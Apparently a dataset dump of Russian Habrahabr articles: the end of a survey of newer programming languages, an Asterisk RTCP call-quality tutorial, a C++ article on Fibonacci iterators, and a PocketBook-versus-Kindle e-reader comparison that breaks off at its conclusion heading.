Однажды один программист устал писать в JavaScript все эти точки с запятой и фигурные скобки. И в результате создал CoffeeScript , инструмент для препроцессинга, преобразующий синтаксические сокращения в обычный JavaScript. Это не столько язык, сколько способ сэкономить время на выписывании JS-синтаксиса.
Шутники утверждают, что CoffeeScript — это средство для уменьшения количества нажатий на кнопки; и {}. Но они упускают главное: чем чище код, тем он читабельнее, и для программиста всегда лучше, когда он может быстро мысленно разложить код. CoffeeScript облегчает понимание кода, что нельзя не приветствовать. Ключевые моменты: Код становится чище. Трудности: Иногда скобки помогают лучше разбираться в многочисленных уровнях рекурсии. D
Для многих программистов нет ничего лучше очень ясного и простого мира языка С. Синтаксис минимален, а структура чётко транслируется в процессор. Некоторые называют его «портируемым ассемблером». Но несмотря на все эти преимущества, некоторым С-программистам недостаёт возможностей других языков.
Это стало одной из причин появления D . Он предлагает обновлённую логическую чистоту С и С++ с добавлением современных удобств вроде управления памятью, вывода типа и граничной проверки (bounds checking). Ключевые моменты: Некоторые из наиболее важных новых возможностей из других языков. Трудности: Часть ресурсов тратится на подстраховку. Less.js
Как и CoffeeScript, Less.js всего лишь препроцессор, упрощающий создание сложных CSS-файлов. Каждый, кто пытался создать список правил вёрстки даже для простейшего сайта, знает, что создание базового CSS требует многочисленных повторов. А Less.js все эти повторы обрабатывает в циклах, переменных и прочих программных конструкциях. Например, можно создать переменную для оттенка зелёного, используемого и для фона страницы, и выделения текста. Если заказчик захочет поменять цвет, то достаточно будет внести изменение в одном месте.
Есть и более сложные конструкции, вроде миксинов и вложенных правил, позволяющие эффективно создавать блоки команд стандартной вёрстки, которые потом можно включать в любое количество CSS-классов. Если нужно будет отказаться от жирных шрифтов, то можно просто изменить эту настройку в корне, а Less.js распространит новое правило на все остальные определения. Ключевые моменты: Упрощение кода. Трудности: Хотелось бы больше полезных конструкций. MATLAB MATLAB — это хардкорный язык для хардкорных математиков и учёных, которым нужно вычислять сложные системы уравнений. Сегодня разработчики всё чаще углубляются в математический и статистический анализ, и MATLAB становится всё востребованнее. Этот язык оттачивался в течение десятилетий, и теперь он может быть полезен простым смертным. Ключевые моменты: Быстрые, стабильные и качественные алгоритмы для сложных вычислений. Трудности: Математика всё ещё сложна. Arduino
Интернет вещей активно наступает. Всё больше устройств обзаводятся встроенными чипами, которым нужно рассказать, что делать. Arduino — это не столько новый язык, сколько набор C- и C++ функций, которые вы собираете в строки, а компилятор делает всё остальное.
Многие из функций станут для программистов в новинку, особенно для тех, кто привык создавать пользовательские интерфейсы для обычных компьютеров. Можно считывать вольтаж, проверять статус выводов платы, и даже управлять миганием светодиодов, чтобы передавать определённые сообщения пользователю устройства. Ключевые моменты: Мир техники в ваших руках. Трудности: По большей части это C и C++. CUDA
Многие воспринимают мощь своих видеокарт как нечто само собой разумеющееся. Они даже не думают о том, сколько треугольников обсчитывает их видеоускоритель, до тех пор, пока их мир не сложнее сетевых стрелялок. Но если заглянуть под капот, то окажется, что при правильном подходе видеокарты могут дать вам кучу вычислительной мощности. С помощью языка CUDA Nvidia позволила нам использовать свои видеокарты не только для убийства зомби и стрельбы из танчиков.
Чтобы работать с CUDA, необходимо научиться определять параллельные фрагменты вашего алгоритма. Найдя их, вы сможете воспользоваться огромными преимуществами видеокарт в параллельных вычислениях. Некоторые задачи, вроде майнинга криптовалют, решаются весьма просто. Другие, например, отбраковка и молекулярная динамика, потребуют крепко поразмыслить. CUDA часто используется в научных крупных многомерных симуляциях. Ключевые моменты: Очень высокая производительность, как минимум для параллельного кода. Трудности: Не всегда легко выявлять легко параллелизуемые части кода. Scala
Каждый, кто углублённо изучал языки программирования, знает, что академический мир любит парадигму функционального программирования. Она гласит, что каждая функция должна иметь чётко определённые ввод и вывод, без каких-либо дополнительных переменных. Существует множество хороших функциональных языков, и одной из наиболее популярных является Scala . Она была создана для исполнения в виртуальной машине Java, так что всё написанное на Scala может выполняться там, где работает Java. То есть, почти везде.
Есть ряд логичных соображений, согласно которым следование правилами функционального программирования помогает создавать код, проще оптимизируемый и зачастую избавленный от наиболее раздражающих багов. Scala — один из способов приобщиться к этому. Ключевые моменты: Функциональный, но достаточно гибкий язык, чтобы хорошо взаимодействовать с другими языками, использующими JVM. Трудности: Для ряда задач и приложений может быть непросто использовать функциональный подход. Haskell
Scala — не единственный функциональный язык с большим количеством пользователей. В этом отношении с ней посоперничает Haskell , с которого можно начинать своё знакомство с программированием. Он уже используется в больших проектах, например, в Facebook. В задачах, на первый взгляд не слишком подходящих для академического кода, Haskell демонстрирует хорошую производительность. Ключевые моменты: Уже проверен на серьёзных проектах. Трудности: Функциональное мышление может потребовать отказаться от некоторых дурных привычек. Jolt
Когда XML был форматом для больших данных, одним из лучших инструментов для манипуляций с крупными объёмами XML был функциональный язык программирования XSLT. Теперь миром правит JSON, для которого хорошо подходит Jolt. Вы можете написать простые фильтры для извлечения атрибутов, а JOLT найдёт и преобразует их так, как вам нужно. Также можете взглянуть на Tempo и использование XSLT. Ключевые моменты: Очень простой язык для решения большинства JSON-проблем. Трудности: Некоторые JSON-преобразования практически невозможно реализовать. Без обобщений
Пожалуй, новые языки объединяет только то, что они обещают создавать код быстрее, умнее и с меньшим количеством багов. Да и новыми их можно назвать с натяжкой: одни существуют уже годы, некоторые — десятилетия. Так что они лишь выглядят новыми, потому что сегодня их осваивает всё больше программистов. | https://habrahabr.ru/company/parallels/blog/317748/ |
habrahabr | RTCP как инструмент администратора телефонии | ['asterisk rtcp'] | Каждый, кто занимался организацией телефонии, сталкивался с фразой «Плохая связь!». А что такое «плохая связь»? С одной стороны это субъективный параметр, с другой стороны это вполне конкретные... | Каждый, кто занимался организацией телефонии, сталкивался с фразой «Плохая связь!». А что такое «плохая связь»? С одной стороны это субъективный параметр, с другой стороны это вполне конкретные цифры. Полагаться на субъективные оценки пользователя мы не будем, потому что это не «тру». Попробуем оценить качество связи вполне конкретной цифрой.
Итак, как оказывается, за нас уже все придумали, нам лишь нужно взять инструмент в руки и адаптировать его под себя. Нам понадобиться Asterisk версии старше 11 и умение немного программировать. Краткая справка от вики: RTCP (англ. Real-Time Transport Control Protocol — протокол управления передачей в реальном времени) — протокол, используемый совместно с RTP. Протокол описан в RFC 3550,[1]. RTCP базируется на периодической передаче управляющих пакетов всем участникам сессии, используя тот же механизм рассылки, что и для пакетов данных.
Протокол RTCP используется для передачи информации о задержках и потерях медиа-пакетов, джиттер-буфере, уровне звукового сигнала. Также передаются метрика качества сигнала (Call Quality Metrics) и Echo Return Loss.
Начиная с 11 версии, астериск через AMI присылает событие RTCPReceived и RTCPSent. Наиболее интересно для нас RTCPReceived, поскольку оно несет важную для нас информацию.
Выглядит оно так: Event: RTCPReceived
privilege: reporting,all
sequencenumber: 23177
file: manager.c
line: 1696
func: manager_default_msg_cb channel: SIP/MainAsterisk-0000113f
channelstate: 6
channelstatedesc: Up
calleridnum: 79914099
calleridname: RC
connectedlinenum: unknown
connectedlinename: unknown
language: ru
context: TO_REGION
exten: 680000130
priority: 1
uniqueid: 1481711487.11714
linkedid: 1481711487.11714
to: Адрес астериска:12611 from: Адрес пира:14555 rtt: 0.0272
ssrc: 0x73f52b22
pt: 200(SR)
reportcount: 1
sentntp: 1481712636.17532474232832
sentrtp: 9159680 sentpackets: 57246
sentoctets: 9159360
report0sourcessrc: 0x3098e4b3
report0fractionlost: 0 report0cumulativelost: 0
report0highestsequence: 7177
report0sequencenumbercycles: 1
report0iajitter: 3
report0lsr: 2726085614
report0dlsr: 0.0590
Интересные для нас поля: channel — имя ассоциированного канала
from — IP удаленного пира
rtt — «задержка», точнее круговая задержка
sentpackets — колличество отправленых пакетов
sentoctets — колличество байт отправленых
report0cumulativelost — количество потерянных пакетов, с начала сессии
Схема хождения пакетов RTCP: R-Фактор lite
Конечно, интересно получить итоговое качество канала в виде %. Для этого есть два параметра:
R-фактор и MOS. Более подробно ознакомиться сними можно тут .
Вычислить их точно мы, конечно же не можем, но можем сделать свою lite-вресию.
Общий алгоритм вычисления может выглядеть так: — Считаем максимальную задержку (RTT) на всех плечах и берем за аксиому, что проблемы со слышимостью начинаются при 1000 мс.
— Считаем процент потерь (максимальный) и берем за аксиому, что при 40 процентах качество связи не приемлемое.
Итого, вычисление R-фактора может выглядеть так:
R=100-(MaxRTT/10+2*MaxLostPackets)
Оценка:
80-100% — хорошее качество звука
60-79% — удовлетворительно
<60% — Качество звука ужасное Где применить?
На данный момент «играемся» с этим. Была написана программа для визуальной оценки.
Кроме того есть в планах вычислять автоматически для каждого звонка и класть в CDR дополнительным полем, что позволит оценить не только качество определенного звонка, но и направлений в целом в разрезе временных периодов. Ссылка на программу
Проверенно для Asterisk 13, будет ли работать в младших версиях — не знаю. UPD: Как положить вычисленное значение в CDR?
На самом деле тут все проще, чем кажется. Не нужно делать интеграцию в своем скрипте или программе с базой данных и делать UPDATE. Достаточно после каждого вычисления R-фактора через тот же AMI интерфейс установить канальную переменную: Action: Setvar
Channel: Имя канала, для которого вычислили R-фактор
Variable: CDR(r-factor)
Value: Значение, которое вычислили
И если в таблице CDR, есть столбец r-factor, оно заполниться этим значением. Кончено же, в эту переменную лучше класть усредненное значение за весь звонок. | https://habrahabr.ru/post/317746/ |
habrahabr | Обертываем алгоритмы в итераторы | ['C++', 'алгоритмы', 'программирование', 'производительность', 'рефакторинг'] | Здравствуйте, дорогие читатели. Сегодня пятница, а у нас на борту продолжается напряженный отсмотр и анализ новинок по C++, желательно с учетом C++ 17. В ходе этого увлекательного занятия мы... | Здравствуйте, дорогие читатели. Сегодня пятница, а у нас на борту продолжается напряженный отсмотр и анализ новинок по C++, желательно с учетом C++ 17. В ходе этого увлекательного занятия мы набрели на блог Яцека Галовица (Jacek Galowicz). Из сравнительно свежих материалов нам особенно понравилась статья, размещенная под катом.
Бывает, требуется сгенерировать диапазон чисел из какого-либо алгоритма. Будь то диапазон чисел, просто расположенных по возрастанию, или лишь нечетные числа, или только простые и т.п. Некоторые операции можно оптимизировать, запоминая значения для расчета следующего числа, точно как это делается с числами Фибоначчи . В этой статье я расскажу, как оборачивать такие расчеты в итераторы , чтобы получались мощные, красиво инкапсулированные алгоритмы. Числа Фибоначчи
Ряд чисел Фибоначчи широко известен. Генерация этих чисел – классический пример рекурсии, но, как минимум, в стандартных императивных языках, итеративная версия получается мощнее: size_t fib(size_t n)
{
size_t a {0};
size_t b {1};
for (size_t i {0}; i < n; ++i) {
const size_t old_b {b};
b += a;
a = old_b;
}
return b;
}
Таким образом очень просто сгенерировать любое число Фибоначчи. Но если для решения той или иной задачи нужно сгенерировать все числа Фибоначчи вплоть до некоторого предела, это решение уже не назовешь удобным. При подсчете числа Фибоначчи N , а затем N+1 , содержимое переменных a и b можно было бы переиспользовать, поскольку каждое число Фибоначчи есть сумма двух предыдущих чисел того же ряда.
В данном случае удобно было бы иметь класс, управляющий неким состоянием Фибоначчи, чтобы с его помощью быстро получать именно следующее число.
Многие из нас просто реализовали бы класс fibonacci_number с некоторым методом next() , методом current() – и использовали его. Это, конечно, хорошо, но я предлагаю сделать еще один шаг и напоминаю: ведь именно так работают итераторы. Реализовав эту функциональность на языке итераторов, ее можно использовать в комбинации с STL, значительно повысив удобочитаемость кода. Итераторы
Что нужно сделать, чтобы реализовать простейший возможный итератор?
Вот что имеет к нам компилятор C++, если мы хотим перебрать класс контейнера: for (const auto &item : vector) {
/* тело цикла */
}
Такое объявление цикла существует со времен C++11. Компилятор сделает из него вот такой эквивалентный код: {
auto it (std::begin(vector));
auto end (std::end(vector));
for (; it != end; ++it) {
const auto &item (*it);
/* тело цикла */
}
}
Смотрим на расширенный цикл – и видим, что нужно реализовать. Во-первых, нужно различать объекты двух видов: vector – это итерируемый диапазон , а it — итератор .
Итерируемый диапазон должен реализовывать функции begin() и end() . Эти функции возвращают объекты итератора.
Обратите внимание: в примере кода возвращается не vector.begin() и vector.end(), а std::begin(vector) и std::end(vector) . Эти функции STL действительно вызывают vector.begin() и end(), но они более универсальны, то есть, также применимы с необработанными массивами и автоматически делают что надо, чтобы получить начальный и конечный итераторы.
Вот что должно быть реализовано в классе iterator : оператор *, выполняющий разыменование указателя (указатели – также полноценные итераторы!)
оператор ++ (префиксный), делающий инкремент итератора до следующего элемента
оператор !=, необходимый для проверки того, а не следует ли завершить цикл – то есть, не достиг ли it позиции, указанной в end .
Чтобы реализовать какой бы то ни было алгоритмически генерируемый диапазон, для начала нужно сделать итератор, который, в сущности, скрывает переменные и сам алгоритм в реализации operator++ . Затем итерируемый класс просто предоставит начальный и конечный итераторы, обеспечив, таким образом, циклы for в стиле C++11. class iterator
{
// ... переменные состояния ...
public:
// Конструктор
iterator& operator++() { /* инкремент */ return *this; }
T operator*() const { /* вернуть значение или ссылку */ }
bool operator!= const (const iterator& o) { /* сравнить состояния */ }
}
Простейший на свете итератор – счетный; он просто оборачивает целочисленную переменную, оборачивает ее в operator++ и возвращает целое число в operator* . operator!= затем просто сравнит это число с числом из другого итератора.
А теперь перейдем к итератору Фибоначчи. Итератор Фибоначчи class fibit
{
size_t i {0};
size_t a {0};
size_t b {1};
public:
constexpr fibit() = default;
constexpr fibit(size_t b_, size_t a_, size_t i_)
: i{i_}, a{a_}, b{b_}
{}
size_t operator*() const { return b; }
constexpr fibit& operator++() {
const size_t old_b {b};
b += a;
a = old_b;
++i;
return *this;
}
bool operator!=(const fibit &o) const { return i != o.i; }
};
При помощи этого итератора уже можно перебрать числа Фибоначчи: fibit it;
// Поскольку оператор сравнения сравнивает только переменную "i",
// определяем итератор с одними нулями, но для "i" устанавливаем значение
// 20, чтобы на нем перебор завершился
const fibit end {0, 0, 20};
while (it != end) {
std::cout << *it << std::endl;
++it;
}
// Либо делаем это красиво как в STL: (сначала включаем <iterator>)
std::copy(it, end, std::ostream_iterator<size_t>{std::cout,"\n"});
Чтобы все было красиво, как в C++11, нам нужен итерируемый класс: class fib_range
{
fibit begin_it;
size_t end_n;
public:
constexpr fib_range(size_t end_n_, size_t begin_n = 0)
: begin_it{fibit_at(begin_n)}, end_n{end_n_}
{}
fibit begin() const { return begin_it; }
fibit end() const { return {0, 0, end_n}; }
};
А теперь можно написать… for (const size_t num : fib_range(10)) {
std::cout << num << std::endl;
}
… и вывести на экран 10 первых чисел Фибоначчи
Что делает функция fibit_at ? Это функция constexpr , которая по возможности продвигает итератор Фибоначчи во время компиляции, чтобы он дошел до того числа Фибоначчи, которое требуется пользователю: constexpr fibit fibit_at(size_t n)
{
fibit it;
for (size_t i {0}; i < n; ++i) {
++it;
}
return it;
}
Например, эта функция позволяет перебрать числа в ряду Фибоначчи от сотого до сто пятого без необходимости высчитывать первые 100 чисел Фибоначчи во время выполнения, так как мы можем подготовить нужную стартовую позицию уже во время компиляции.
При работе с C++17 fibit_at бесполезна, так как ее можно заменить на std::next(fibit{}, n) , поскольку в C++17 STLstd::next – это функция constexpr .
Чтобы гарантировать, что 100-е число в ряду Фибоначчи уже будет высчитано, когда компилятор станет записывать на диск бинарную программу, можно просто внести диапазон в переменную constexpr : constexpr const fib_range hundred_to_hundredfive {105, 100};
for (size_t num : hundred_to_hundredfive) {
// Делаем что-нибудь
}
Комбинируем итератор Фибоначчи с алгоритмами STL
Допустим, нам нужен вектор с первыми 1000 числами Фибоначчи. Мы уже обернули алгоритм Фибоначчи в удобный класс итератора, и теперь можем использовать его с любым STL-алгоритмом из пространства имен std: std::vector<size_t> fib_nums;
fib_nums.resize(1000);
constexpr const fib_range first1000 {1000};
std::copy(std::begin(first1000), std::end(first1000), std::begin(fib_nums));
Очень красиво и удобно. Однако, код в том виде, как он представлен здесь, не скомпилируется, поскольку мы не задали метку итератора. Делается это просто: пусть fibit явно унаследует std::iterator<std::forward_iterator_tag, size_t> . std::iterator , будучи базовым для нашего класса fibit , просто добавит несколько определений типов, которые помогут алгоритмам STL разобраться, что это за итератор. Для итераторов определенного типа в конкретных ситуациях существуют иные реализации алгоритмов STL, производительность которых оптимизирована (от пользователя это аккуратно скрыто!).
Метка std::forward_iterator означает, что перед нами итератор, который можно просто продвигать шаг за шагом – и он будет двигаться только вперед, но не назад. Итоги
Многие алгоритмы, генерирующие числовые диапазоны, можно реализовать в виде итераторов, что совершенно естественно. В C++ есть вкусный синтаксический сахар для итераторов, благодаря чему из них получаются органичные интерфейсы для абстракций.
Вместе с алгоритмами STL и любыми STL-совместимыми структурами данных из них получается удобочитаемый мощный код, который легко тестировать и поддерживать.
В статье рассказано об итераторе, а не обычном указателе данных. Реализация алгоритма интересна тем, что на этапе инкремента вычисляется нечто более сложное, нежели новая позиция внутреннего указателя на следующий элемент. Интересно, что таким образом можно инстанцировать некоторый итерируемый объект, определяющий диапазон – а для этого необходимы серьезные вычисления. Но они выполнены не будут, пока кто-нибудь специально не запросит результат (а код, запрашивающий результат, даже не «знает», какой алгоритм при этом неявно выполняется, поскольку эта информация скрыта за простым интерфейсом итератора).
Такой стиль связан с ленивыми вычислениями – это мощный и красивый принцип из чисто функциональных языков программирования. | https://habrahabr.ru/company/piter/blog/317762/ |
habrahabr | Сравниваем PocketBook 631 Touch HD и Kindle Paperwhite 2015: что лучше в российских реалиях? | ['Pocketbook', 'eink', 'электронные книги', 'kindle paperwhite'] | Всем привет! В комментариях к посту, посвященному PocketBook 631 Touch HD, я пообещал сравнить этот ридер с одной из моделей Amazon Kindle. И в процессе объяснить, почему при выборе ридера в... | Всем привет! В комментариях к посту , посвященному PocketBook 631 Touch HD , я пообещал сравнить этот ридер с одной из моделей Amazon Kindle. И в процессе объяснить, почему при выборе ридера в российских условиях я отдаю предпочтение именно PocketBook. Собственно, в этом материале я обещание выполню.
Но для начала – пара пояснений всем тем, кто считает меня оголтелым и слепым фанатом PocketBook (были подобные комментарии последними постами, и много), который не признает устройства для чтения других брендов. Во-первых, у меня нет никакого негатива по отношению к Amazon. И я охотно верю, что это вполне себе качественные ридеры. Более того, не верю, а знаю, так как я имел с ними дело. Однако у меня есть сразу несколько «но» по отношению к ним. Первое – слабое соответствие российским реалиям. Да, я это в первую очередь о поддержке форматов книг, но не только о них. Заказать Kindle в Россию не так просто, как кажется. Сейчас для этого необходимо задействовать одну из многочисленных фирм-посредников, тогда как – об этом я прочитал в интернете – заказать устройство на прямой российский адрес не выйдет. Я не поверил и попробовал сам. Получил в итоге вот такое сообщение от Amazon:
Ещё раз: если вы живете в США, то можно смело брать Amazon Kindle – это отличный вариант для местного рынка, где нет никаких проблем с оплатой и доставкой, а всю необходимую литературу можно покупать на том же Amazon в пару кликов. Я действительно так думаю: пару лет назад моя родная тетя, с 1992 года проживающая в Сан-Диего, узнала о существовании ридеров и попросила посоветовать ей такую штуку. Я решил подарить ей читалку и перевел необходимую для покупки сумму, посоветовав купить Kindle (что она и сделала). И это несмотря на то что спустя пару месяцев после просьбы тетя планировала визит в РФ, где я мог запросто вручить ей тот же PocketBook. Это к тому, что ситуации бывают разные, и я не считаю, что покупка «Покета» оправдана в 100% случаев. В России оптимальный выбор именно PocketBook, в США же оптимален Kindle.
Однако я нахожусь именно в России, где купить Kindle Paperwhite 2015 без рекламы на Amazon.com за официальные 140 долларов (около 9 000 рублей по текущему курсу) не выйдет. Учитывая описанную в самом начале ситуацию, придётся ещё и заплатить посреднику с американским адресом. Не буду подробно разбираться в вопросе, сколько это стоит, – беглый анализ показал, что можно указать цифру «1 000 рублей» и не сильно ошибиться. Ну или можно взять Kindle Paperwhite 2015 уже в России у перекупщиков. В этом случае придется отдать 11 тысяч рублей. За версию с рекламой просят примерно 9 тысяч, но её я в расчет не беру. В PocketBook 631 Touch HD никакой рекламы нет, а значит сравнивать корректно с версией «Киндла» без демонстрации объявлений.
И да, сразу же отвечу на вопрос – почему решено было взять именно Kindle Paperwhite 2015. А потому, что именно эта модель пользуется наибольшей популярностью у россиян. Откуда информация? Ну официальных данных о продажах Kindle в РФ, понятное дело, нет, а сторонние аналитики рынок ридеров не считают уже очень давно – им в последние годы интереснее проверещать о том, как сильно упал/вырос Samsung и каковы успехи новых «Айфонов». О популярности именно Kindle Paperwhite говорят запросы в «Яндексе» – россияне чаще всего ищут именно эту модель.
Что же, раз так, то будем сравнивать Paperwhite 2015 и PocketBook 631 Touch HD. Экраны
На бумаге все практически одинаково: 6 дюймов и E Ink Carta, да и разрешение фактически одно и то же – 300 ppi (1448 х 1072 точек у PocketBook и 1440 х 1080 у Kindle, что на практике не даёт никакой разницы).
В PocketBook 631 Touch HD используется инфракрасный тачскрин, в котором меньше слоёв, чем в ёмкостном, – именно ёмкостный экран мы как раз и видим Kindle Paperwhite 2015. Минус использования «инфракрасника» заключается в том, что дисплей в PocketBook глубже утоплен в лицевую панель корпуса, что даёт более высокие бортики. Зато и качество изображения чуточку выше у PocketBook 631 Touch HD – видимо, из-за меньшего количества слоёв в экране. Ну и здесь же замечу, что никакой разницы в качестве обработки нажатий я не заметил. Что Kindle Paperwhite 2015 отлично реагирует на пальцы, что PocketBook 631 Touch HD. Ругать ридеры не за что.
Подсветка, как я уже говорил, есть в обеих моделях. Её максимальная яркость сравнима, равномерность – тоже. То есть ни в PocketBook, ни в Kindle нет раздражающих пересветов или, наоборот, недосвеченных пятен. Удивило меня другое. Почему-то в Kindle Paperwhite 2015 нельзя полностью выключить подсветку, она работает всегда (то есть вместо отключения можно выставить только минимальную яркость). Неужто разработчики из Amazon вдохновлялись законами, обязывающими водителей автомобилей всегда держать ближний свет включенным, даже днём?.. Шутка, конечно, и всё же мне не совсем понятно – в чём логика такого решения. Читаем-то мы не всегда в темноте или хотя бы в слабо освещённой комнате, но и в парках, на пляжах, в хорошо освещённых салонах самолётов. Да, энергопотребление у минимальной подсветки совсем не громадное, но оно есть, это факт. Так что более оптимальным мне кажется решение в PocketBook – там подсветку можно не только регулировать, но и полностью выключить.
Напоследок добавлю, что по качеству отображения текста экраны в обоих устройствах очень достойные. Всё же технология E Ink Carta вкупе с плотностью пикселей 300 ppi даёт прекрасный результат: шрифты чёткие, все завитушки на них видны, «остатков» прежней страницы на новой нет (как в экранах E Ink предыдущих поколений), ну и так далее. Если вы хотите получить ридер с максимальным качеством отображения текстовой информации – выбирайте один из этих двух. Ничего лучше пока не придумали. Внешний вид и конструкция
Корпуса обоих ридеров покрыты «софт-тачем», то есть прорезиненным пластиком. Собраны устройства отлично, никаких скрипов и прочих неприятных вещей не зафиксировано. Неприятности обнаружены в другом – там, где их лично я не ждал. Оказалось, что к Kindle Paperwhite 2015 быстро прилипают пылинки, ниточки и прочий мелкий мусор. Подумалось было, что это я внезапно каким-то таким неаккуратным стал… Но оказалось, что оно действительно так – модель Amazon грязнится довольно быстро. В этом материале о данной проблеме пишет, например, Сергей Кузьмин с Mobile-Review.com – товарищ, которого уж никак нельзя назвать ненавистником Kindle (он как раз большой любитель). Вариантов решения вопроса два: использовать чехол или никогда не класть ридер на матерчатые поверхности (например, на одеяло). Иначе он будет постоянно выглядеть неопрятно, и вы замучаетесь его протирать. У PocketBook 631 Touch HD такой проблемы нет – поэтому и говорить здесь особо не о чем. Корпус из «софт-тача», на ощупь приятный. Грязь и пыль не собирает.
Весит меньше PocketBook – 183 г против 205 у Kindle. Не буду утверждать что-то вроде «от киндла руки начинают отваливаться через полчаса, а покет можно удерживать хоть неделю напролет». Но замечу, что на практике разница всё же заметна. И если представить, что вы будете читать часа три подряд, то лишний вес – пусть его всего 22 г – положительным моментом уж точно не является. Так что тут можно похвалить PocketBook 631 Touch HD, поскольку весит он меньше, хотя функций в нём больше (об этом ниже).
Кстати, об удержании в руках. В PocketBook 631 Touch HD для того, чтобы ридер было комфортнее удерживать в руках, предназначены сотни ямочек на задней панели – они обеспечивают надёжное сцепление с подушечками пальцев. Точнее, «более надёжное, чем у Kindle»: благодаря «софт-тачу» последний тоже не норовит выскользнуть из руки, но модель PocketBook «приклеивается» к пальцам всё же чуточку лучше.
Вариантов управления, опять же, больше в PocketBook 631 Touch HD. Потому что в этой модели можно блуждать по меню и переворачивать страницы как с помощью сенсорного экрана, так и посредством клавиш, находящихся под дисплеем. То есть вариантов два. В случае Kindle Paperwhite 2015 возможно только управление с тачскрина. Понятное дело, в комментариях к этому посту возразят, что кнопки – это рудимент, анахронизм, дурацкий способ усложнить простое устройство и пр. Дабы таких комментариев не было (или хотя бы чтобы поумерить пыл ортодоксальных фанатов Kindle), приведу следующий пример. Есть у меня хороший друг с одной малоприятной для него особенностью организма – у него постоянно влажные руки. (Друг здоров, проверялся, ему так и сказали: это ты не больной, а особенный!) Так вот я в свое время одолжил ему ридер PocketBook Touch 2, где тоже есть и тачскрин, и кнопки. Спустя две недели он сказал примерно следующее: «Как здорово, что в ней оставили клавиши. Пробовал переворачивать страницы пальцами с экрана – и замызгал его за час. Поэтому дальше пользовался кнопками и не знал никаких проблем». Вот это – конкретный пример полезности нескольких способов управления тем или иным устройством. Два варианта всегда лучше, чем один. Точка. И да, если вы думаете, что мой друг один-единственный с такой проблемой, то нет – я знаю минимум пять человек обоих полов с вечно влажными руками. И всем им куда лучше подойдет «Покет», чем «Киндл».
Больше о различиях в конструкции и управлении PocketBook 631 Touch HD и Kindle Paperwhite 2015 ничего, пожалуй, и не скажешь. Точнее, нет. Есть ещё одно различие. В PocketBook 631 Touch HD имеются 3,5-мм разъём для наушников и слот для карт памяти. Но это продиктовано уже исключительно более широкой функциональностью устройства, а не недочётами разработчиков Amazon (как, например, странный материал корпуса). Функциональность и возможности
Для начала снова побрюзжу на тему форматов. PocketBook 631 Touch HD работает с 18 форматами, а именно с PDF, PDF (DRM), EPUB, EPUB(DRM), DJVU, FB2, FB2.ZIP, DOC, DOCX, RTF, PRC, TCR, TXT, CHM, HTM, HTML, MOBI и ACSM. Между тем Kindle Paperwhite 2015 «дружит» только 6 форматами: с TXT, PDF, MOBI, PRC, AZW3 и AZW. Из которых два фирменных формата Amazon, и поэтому я бы не считал их полезными для российского потребителя, который в 99% случаев ищет книги в интернете (я лично их покупаю и вам советую, но сейчас мы говорим не о правильном поведении, а о том, что наблюдается на практике). Да, на Kindle можно открывать ещё кое-какие форматы – например, DOC – если воспользоваться расширением для браузера Send-to-Kindle или просто отправлять книги через почту. В этом случае будет производиться конвертация файлов в поддерживаемые ридером форматы. Однако FB2 и DJVU читалке Amazon не откроешь. (Ещё раз: конкретно вам эти форматы, возможно, не нужны. А 99% пользователей из России тот же FB2 остро необходим, так что не стоит писать что-то вроде «А лично мне не надо!!!») Файлы в памяти PocketBook 631 Touch HD. Тут тебе и MP3, и FB2
В общем, если подытожить, то окажется, что по всеядности модели PocketBook подчистую выигрывают у моделей Amazon. Именно «модели», так как это справедливо для всех «Покетов».
По количеству настроек текста PocketBook 631 Touch HD также лидирует. Просто приведу вот такую табличку – она расскажет о ситуации лучше любых слов:
Настройки Kindle:
Настройки PocketBook:
Опять же: я склонен считать, что чем больше настроек в том или ином устройстве (ридере, плеере, смартфоне – не важно!), тем лучше. PocketBook 631 Touch HD по количеству настроек текста кладёт Kindle Paperwhite 2015 на обе лопатки, и больше здесь добавить нечего. Кроме того, что даже совпадающие настройки реализованы в PocketBook глубже и интереснее: больше вариантов шрифтов, куда шире диапазон регулировки размеров букв. Так что в плане возможностей настройки «под себя» интереснее «Покет».
Вариантов загрузки книг в ридеры по четыре штуки – то есть наблюдается паритет (обе модели поддерживают Wi-Fi 802.11n, что делает возможной и беспроводную загрузку).
Здесь могу отметить только одно: в целом книг, конечно, куда больше в магазине Amazon. Но если говорить о русскоязычных изданиях, то покетбуковский BookLand.net предпочтительнее.
Дополнительную функциональность PocketBook 631 Touch HD и Kindle Paperwhite 2015, пожалуй, тоже опишу табличкой. Все подробности о реализации функций PocketBook 631 Touch HD есть в отдельном обзоре , так что повторяться не вижу смысла.
Разумеется, ощутимая часть читателей подумает что-то вроде «зачем мне калькулятор в ридере», но лично я придерживаюсь иного мнения. Интерфейс PocketBook 631 Touch HD реализован таким образом, что если вам все эти дополнительные функции не нужны, то с ними в процессе эксплуатации устройства вы ни разу и не столкнётесь. Потому что открывать книги можно с главного экрана, где для этого предусмотрено всё необходимое, в частности, доступ к разделу «Библиотека». Ну а если доп. опции всё же нужны, то добро пожаловать в главное меню. Концепция примерно та же, что в Android, – ярлыки самых важных приложений можно вынести на рабочий стол, а весь мусор пусть валяется в главном меню. Так же и в «Покете»: чтение доступно сразу, а прочие приложения находятся в меню. И эти самые прочие, на мой взгляд, отнюдь не лишние: иногда в процессе чтения мне действительно нужно посмотреть какую-либо дату, а телефона рядом нет. Потому что после 9 вечера я отключаю звук, откладываю смарт куда подальше, чтобы не дозвонилось начальство и не нагрузило ценными указаниями, и предаюсь как раз чтению. То же самое и с игрушками – иногда читать уже не хочется, а, например, лететь на самолете ещё долго. Можно и в шахматы зарубиться! Или аудиокнигу послушать, чего вам Amazon Kindle Paperwhite 2015 сделать не даст. (На смартфоне в полётах я играть и музыку слушать не люблю, дабы не высаживать батарейку почём зря.) Главное меню PocketBook 631 Touch HD со всеми приложениями
Что там у нас осталось? Память! И снова прибегу к табличке – так нагляднее всего.
Очень уж сильно ругать Amazon за отсутствие слота расширения я не стану: всё же модель не поддерживает аудио, так что очень уж много памяти ей не нужно. Впрочем, Kindle Paperwhite 2015 очень даже работает с PDF, а файлы этого формата могут иметь какой угодно объём – встречаются экземпляры и по 100, и по 150 Мб. Я, например, по работе регулярно получаю презентации с целыми линейками гаджетов, которые вскоре будут выведены на рынок. И такой файл может весить даже и 200 Мб. У меня на компьютере сейчас около 5 Гб таких вот презентаций (ни одну из них я пока не открывал, а вскоре надо будет изучать!), и в Kindle Paperwhite 2015 они просто не поместятся. А вот в PocketBook 631 Touch HD – да, и даже если встроенной памяти окажется мало, то на выручку придёт флешка. Понятное дело, что у всех разные задачи и потребности, я лишь хочу сказать, что фразы «а мне не надо!!!» справедливы только для вас. Лично для вас. Но далеко не для всех. Итоги
